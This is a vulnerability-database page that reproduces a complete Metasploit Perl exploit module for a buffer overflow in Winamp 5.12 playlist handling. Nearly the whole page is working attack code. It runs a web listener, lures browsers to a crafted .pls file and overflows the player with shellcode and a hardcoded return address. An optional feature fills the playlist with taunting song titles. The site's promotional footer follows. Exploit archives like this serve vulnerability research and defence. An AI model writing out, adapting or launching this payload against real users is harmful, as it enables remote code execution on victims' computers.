Lucene search
K

Winamp <= 5.12 - (.pls) Remote Buffer Overflow Exploit (meta)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 27 Views

Winamp <= 5.12 - (.pls) Remote Buffer Overflow Exploi

Code

                                                ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::winamp_playlist_unc;

use strict;
use base &#34;Msf::Exploit&#34;;
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;

 my $advanced =
  {
	&#39;Gzip&#39;       =&#62; [1, &#39;Enable gzip content encoding&#39;],
	&#39;Chunked&#39;    =&#62; [1, &#39;Enable chunked transfer encoding&#39;],
	&#39;Humor&#39;      =&#62; [0, &#39;Enable humorous song names&#39;],
  };

my $info =
  {
	&#39;Name&#39;           =&#62; &#39;Winamp Playlist UNC Path Computer Name Overflow&#39;,
	&#39;Version&#39;        =&#62; &#39;$Revision: 1.3 $&#39;,
	&#39;Authors&#39;        =&#62;
	  [
		&#39;H D Moore &#60;hdm [at] metasploit.com&#39;,
		&#39;Faithless &#60;rhyskidd [at] gmail.com&#62;&#39;,
	  ],

	&#39;Description&#39;    =&#62;
	  Pex::Text::Freeform(qq{
		This module exploits a vulnerability in the Winamp media player.
	This flaw is triggered when a audio file path is specified, inside a
	playlist, that consists of a UNC path with a long computer name. This
	module delivers the playlist via the browser.
}),

	&#39;Arch&#39;           =&#62; [ &#39;x86&#39; ],
	&#39;OS&#39;             =&#62; [ &#39;win32&#39;, &#39;winxp&#39;, &#39;win2003&#39; ],
	&#39;Priv&#39;           =&#62; 0,

	&#39;AutoOpts&#39;       =&#62; { &#39;EXITFUNC&#39; =&#62; &#39;process&#39; },
	&#39;UserOpts&#39;       =&#62;
	  {
		&#39;HTTPPORT&#39; =&#62; [ 1, &#39;PORT&#39;, &#39;The local HTTP listener port&#39;, 8080      ],
		&#39;HTTPHOST&#39; =&#62; [ 0, &#39;HOST&#39;, &#39;The local HTTP listener host&#39;, &#34;0.0.0.0&#34; ],
	  	&#39;REALHOST&#39; =&#62; [ 0, &#39;HOST&#39;, &#39;External address to use for redirects (NAT)&#39; ],
	  },

	&#39;Payload&#39;        =&#62;
	  {
		&#39;Space&#39;    =&#62; 526,
		&#39;BadChars&#39; =&#62; &#34;\x00\x5c\x2f\x0a\x0d\x20&#34;,
		&#39;Keys&#39;     =&#62; [&#39;-bind&#39;],
		
		# Landing on \x5c\x5c trashes esp, restore from ecx
		&#39;PrependEncoder&#39; =&#62; &#34;\x87\xe1&#34;,
		
		# Disable nop sleds completely (dont modify ecx)
		&#39;MinNops&#39;  =&#62; 0,
		&#39;MaxNops&#39;  =&#62; 0,
	  },
	&#39;Refs&#39;           =&#62;
	  [
	  	[&#39;BID&#39;, &#39;16410&#39;],
		[&#39;URL&#39;, &#39;http://milw0rm.com/id.php?id=1458/&#39;],
		[&#39;URL&#39;, &#39;http://secunia.com/advisories/18649/&#39;],		
	  ],

	&#39;DefaultTarget&#39;  =&#62; 0,
	&#39;Targets&#39;        =&#62;
	  [
	  	# Return to exe, 0x0d is replaced by 0x00 &#62;:-)
		[ &#39;Winamp 5.12 Universal&#39;, 0x0d45fece  ]
	  ],

	&#39;Keys&#39;           =&#62; [ &#39;winamp&#39; ],

	&#39;DisclosureDate&#39; =&#62; &#39;Jan 29 2006&#39;,
  };

sub new {
	my $class = shift;
	my $self = $class-&#62;SUPER::new({&#39;Info&#39; =&#62; $info, &#39;Advanced&#39; =&#62; $advanced}, @_);
	return($self);
}

sub Exploit
{
	my $self = shift;
	my $server = IO::Socket::INET-&#62;new(
		LocalHost =&#62; $self-&#62;GetVar(&#39;HTTPHOST&#39;),
		LocalPort =&#62; $self-&#62;GetVar(&#39;HTTPPORT&#39;),
		ReuseAddr =&#62; 1,
		Listen    =&#62; 1,
		Proto     =&#62; &#39;tcp&#39;
	  );
	my $client;

	# Did the listener create fail?
	if (not defined($server)) {
		$self-&#62;PrintLine(&#34;[-] Failed to create local HTTP listener on &#34; . $self-&#62;GetVar(&#39;HTTPPORT&#39;));
		return;
	}

	my $httphost = $self-&#62;GetVar(&#39;HTTPHOST&#39;);
	$httphost = Pex::Utils::SourceIP(&#39;1.2.3.4&#39;) if $httphost eq &#39;0.0.0.0&#39;;

	$self-&#62;PrintLine(&#34;[*] Waiting for connections to http://&#34;. $httphost .&#34;:&#34;. $self-&#62;GetVar(&#39;HTTPPORT&#39;) .&#34;/&#34;);

	while (defined($client = $server-&#62;accept())) {
		$self-&#62;HandleHttpClient(Msf::Socket::Tcp-&#62;new_from_socket($client));
	}

	return;
}

sub HandleHttpClient
{
	my $self = shift;
	my $fd   = shift;

	# Set the remote host information
	my ($rport, $rhost) = ($fd-&#62;PeerPort, $fd-&#62;PeerAddr);

	# Read the HTTP command
	my ($cmd, $url, $proto) = split / /, $fd-&#62;RecvLine(10);

	# Read the HTTP headers
	my $headers;
	while ( (my $line = $fd-&#62;RecvLine(10))) {
		$headers .= $line;
		last if $line eq &#34;\r\n&#34;;
	}

	if ($url !~ /\.pls/i) {
		$self-&#62;PrintLine(&#34;[*] HTTP Client connected from $rhost:$rport, redirecting...&#34;);
		my $content =
			&#34;&#60;html&#62;&#60;script&#62;&#34;.
			&#34;document.location=&#39;&#34;.RandomPath().&#34;.pls&#39;&#34;.
			&#34;&#60;/script&#62;&#60;body&#62;&#34;.
			&#34;One second please...&#60;/body&#62;&#60;/html&#62;&#34;;	

		$fd-&#62;Send($self-&#62;BuildResponse($content));
		$fd-&#62;Close;
		return;
	}

	my $target_idx  = $self-&#62;GetVar(&#39;TARGET&#39;);
	my $target      = $self-&#62;Targets-&#62;[$target_idx];
	my $shellcode   = $self-&#62;GetVar(&#39;EncodedPayload&#39;)-&#62;Payload;
	
	my $name = Pex::Text::AlphaNumText(int(rand(32)+1));
	my $file = Pex::Text::AlphaNumText(1026);
	
	substr($file, 1022, 4, pack(&#39;V&#39;, $target-&#62;[1]));
	substr($file, 0, length($shellcode), $shellcode);
	
	# Too many and it takes too long to load...
	my $pcnt = int(rand(10)+10);
	my $play =
		&#34;[playlist]\r\n&#34;.
			
			$self-&#62;RandomNames($pcnt).
			
			&#34;File&#34;.   ($pcnt+1). &#34;=\\\\$file\r\n&#34; .
			&#34;Title&#34;.  ($pcnt+1). &#34;=$name\r\n&#34;.
			&#34;Length&#34;. ($pcnt+1). &#34;=&#34;.sprintf(&#34;%x&#34;,rand(1024)+1).&#34;\r\n&#34;.
			
			&#34;NumberOfEntries=&#34;.($pcnt+1).&#34;\r\n&#34;. 
			&#34;Version=2\r\n&#34;;

	$self-&#62;PrintLine(&#34;[*] HTTP Client connected from $rhost:$rport, sending &#34;.length($shellcode).&#34; bytes of payload...&#34;);


	$fd-&#62;Send($self-&#62;BuildResponse($play, &#34;audio/x-scpls&#34;));

	# Prevents IE from throwing an error in some cases
	select(undef, undef, undef, 0.1);

	$fd-&#62;Close();
}

sub RandomPath {
	my $self = shift;
	my $path;

	while (length($path) &#60; 32) {
		$path .= &#34;/&#34; . Pex::Text::AlphaNumText(int(rand(30) + 5));
	}
	return $path;
}

sub RandomNames {
	my $self = shift;
	return $self-&#62;RandomNamesFun(@_) if $self-&#62;GetVar(&#39;Humor&#39;);
	my $scnt = shift;
	
	my $ppad = &#39;&#39;;
	
	for my $idx (1..$scnt) {
		my $pname = Pex::Text::AlphaNumText(int(rand(32)+1));
		my $pfile = Pex::Text::AlphaNumText(int(rand(32)+1)).&#34;.mp3&#34;;
		$ppad .=
			&#34;File&#34;.   ($idx). &#34;=&#34;.$pfile.&#34;\r\n&#34; .
			&#34;Title&#34;.  ($idx). &#34;=&#34;.$pname.&#34;\r\n&#34;.
			&#34;Length&#34;. ($idx). &#34;=&#34;.sprintf(&#34;%x&#34;,rand(1024)+1).&#34;\r\n&#34;;	
	}
	return $ppad;
}

sub BuildResponse {
	my ($self, $content, $ctype) = @_;
	$ctype ||= &#34;text/html&#34;;
	
	my $response =
	  &#34;HTTP/1.1 200 OK\r\n&#34; .
	  &#34;Content-Type: $ctype\r\n&#34;;

	if ($self-&#62;GetVar(&#39;Gzip&#39;)) {
		$response .= &#34;Content-Encoding: gzip\r\n&#34;;
		$content = $self-&#62;Gzip($content);
	}
	if ($self-&#62;GetVar(&#39;Chunked&#39;)) {
		$response .= &#34;Transfer-Encoding: chunked\r\n&#34;;
		$content = $self-&#62;Chunk($content);
	} else {
		$response .= &#39;Content-Length: &#39; . length($content) . &#34;\r\n&#34; .
		  &#34;Connection: close\r\n&#34;;
	}

	$response .= &#34;\r\n&#34; . $content;

	return $response;
}

sub Chunk {
	my ($self, $content) = @_;

	my $chunked;
	while (length($content)) {
		my $chunk = substr($content, 0, int(rand(10) + 1), &#39;&#39;);
		$chunked .= sprintf(&#39;%x&#39;, length($chunk)) . &#34;\r\n$chunk\r\n&#34;;
	}
	$chunked .= &#34;0\r\n\r\n&#34;;

	return $chunked;
}

sub Gzip {
	my $self = shift;
	my $data = shift;
	my $comp = int(rand(5))+10;

	my($wtr, $rdr, $err);

	my $pid = open3($wtr, $rdr, $err, &#39;gzip&#39;, &#39;-&#39;.$comp, &#39;-c&#39;, &#39;--force&#39;);
	print $wtr $data;
	close ($wtr);
	local $/;

	return (&#60;$rdr&#62;);
}


sub RandomNamesFun {
	my $self = shift;
	my $scnt = shift;
	my @ffun = 
	(
		&#34;Angelina vs Rosie O - Butter Time&#34;,	
		&#34;Richards Gerbil Adventure&#34;,
		&#34;Elton John Bachelor Party&#34;,
		&#34;Paris Hilton Greased Chihuahua&#34;,
		&#34;OH MY GOD&#34;,
		&#34;SOMEONE IS OWNING&#34;,
		&#34;MY WINAMP!&#34;,
	);
	
	my $ppad = &#39;&#39;;
	
	for my $idx (1..$scnt) {
		my $pname = $ffun[ $idx % scalar(@ffun) ];
		$ppad .=
			&#34;File&#34;.   ($idx). &#34;=&#34;.$pname.&#34;\r\n&#34; .
			&#34;Title&#34;.  ($idx). &#34;=&#34;.$pname.&#34;\r\n&#34;.
			&#34;Length&#34;. ($idx). &#34;=&#34;.sprintf(&#34;%x&#34;,rand(1024)+1).&#34;\r\n&#34;;	
	}
	return $ppad;
}
1;

# milw0rm.com [2006-01-31]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation